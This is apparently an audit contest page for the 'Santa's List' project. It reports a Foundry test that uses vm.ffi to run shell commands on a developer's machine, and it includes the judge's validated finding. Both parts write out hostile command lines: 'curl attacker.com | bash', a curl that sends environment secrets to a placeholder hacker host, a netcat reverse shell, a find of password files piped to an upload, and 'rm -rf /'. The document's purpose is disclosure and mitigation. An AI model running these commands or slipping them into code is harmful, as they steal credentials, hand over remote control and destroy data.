Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

[L-1] testPwned in test suite uses FFI to execute arbitrary shell commands

Root + Impact

Description

  • Foundry's ffi (Foreign Function Interface) feature allows tests to execute arbitrary shell commands on the host machine. While sometimes used for legitimate purposes (e.g. generating calldata from scripts), enabling ffi = true globally in foundry.toml and embedding vm.ffi calls in tests creates a supply-chain risk for any developer who clones and runs the test suite.

  • The test testPwned constructs and executes touch youve-been-pwned, creating a file in the working directory. This is a demonstration of arbitrary code execution, a more malicious payload (e.g. curl attacker.com | bash) would have the exact same execution path. Running forge test confirmed the file was created on disk.

// @> Uses vm.ffi to run an arbitrary shell command on the developer's machine
function testPwned() public {
string[] memory cmd = new string[](2);
cmd[0] = "touch";
cmd[1] = string.concat("youve-been-pwned");
vm.ffi(cmd);
}

Risk

Likelihood:

  • The command executes automatically whenever a developer runs forge test with ffi = true active in foundry.toml no special flag required

  • A malicious version could silently exfiltrate credentials, environment variables, or SSH keys

Impact:

  • Arbitrary files can be created, modified, or deleted on any developer's machine

  • In a real supply-chain attack, private keys or environment secrets could be exfiltrated

  • Developer trust in the entire test suite is undermined

Proof of Concept

Cloning the repo and running forge test is sufficient to trigger the shell command. After running, a file named youve-been-pwned appears in the working directory, confirming arbitrary shell execution on the host machine.

$ forge test
$ ls youve-been-pwned
youve-been-pwned # created by the test — confirms RCE

Recommended Mitigation

Remove the testPwned test entirely and disable ffi in foundry.toml. If FFI is genuinely needed for a specific test, scope it to a dedicated profile rather than enabling it globally.

# foundry.toml
[profile.default]
- ffi = true
+ ffi = false
- function testPwned() public {
- string[] memory cmd = new string[](2);
- cmd[0] = "touch";
- cmd[1] = string.concat("youve-been-pwned");
- vm.ffi(cmd);
- }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-06] Malicious Test potentially allowing data extraction from the user running it

## Description The test suite includes a function named testPwned, which executes arbitrary commands on the user's machine. This presents a significant security risk, as such commands could potentially extract sensitive data, establish a reverse shell for remote control, search for passwords, or install malware. ## Vulnerability Details This is the malicious test, it looks inoffensive as it just create a file called `youve-been-pwned` but there is no underlying reason for this test to be here except a malicious behavior. ```javascript function testPwned() public { string[] memory cmds = new string[](2); cmds[0] = "touch"; cmds[1] = string.concat("youve-been-pwned"); cheatCodes.ffi(cmds); } ``` A more alarming scenario is demonstrated in the following proof of concept, where the user's API key could be compromised:. First export the api key in your shell ```bash export ARBITRUMSCAN_API_KEY='MY_SECRET_KEY' ``` Then execute the test to store the API key in a file: ```javascript function testWriteCommande() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "env | grep ARBITRUMSCAN_API_KEY > PwnedApiKey"; cheatCodes.ffi(cmds); } ``` Alternatively, transmit it to an external server: ```javascript cmds[2] = "curl 'https://<HACKER_IP>?arbitrum_rpc_url='$(env | grep ARBITRUM_RPC_URL | cut -d '=' -f2)"; ``` Other interesting POC that qualify this issue as a HIGH ### POC 1: Reverse Shell Using Netcat This POC demonstrates how a test could open a reverse shell, allowing an attacker to gain control over the user's machine. ```javascript function testReverseShell() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "nc -e /bin/bash <HACKER_IP> <PORT>"; cheatCodes.ffi(cmds); } ``` ### POC 2: Finding Files and Sending Results to a Server This POC shows how a test could find specific files (starting with "pass" ) and send the results to a remote server. ```javascript function testFindCommand() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "find / -name 'pass*' | curl -F 'data=@-' https://<HACKER_IP>/upload"; cheatCodes.ffi(cmds); } ``` ### POC 3: Destructive Command (rm -rf /) This POC demonstrates a highly destructive command that could potentially erase all data on the user's root filesystem. # Warning: This command is extremely harmful and should never be executed. ```javascript function testDestructiveCommand() public { string[] memory cmds = new string[](2); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "rm -rf /"; cheatCodes.ffi(cmds); } ``` # Important Disclaimer: The rm -rf / command will delete everything on the filesystem for which the user has write permissions. It is provided here strictly for educational purposes to demonstrate the severity of security vulnerabilities in scripts and should never be run on any system. ## Impact This issue is categorized as HIGH due to the direct risk it poses to funds and sensitive information. The test, as it stands, is harmful, as it is used in a security contexts but i assume that the general purpose of this functionality is to be harmfull. It could lead to data breaches (including private keys and passwords), unauthorized remote code execution, and the potential destruction of digital information (e.g., rm -rf /). ## Recommendations Always exercise caution before running third-party programs on your system. Ensure you understand the functionality of any command or script to prevent unintended consequences, especially those involving security vulnerabilities.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!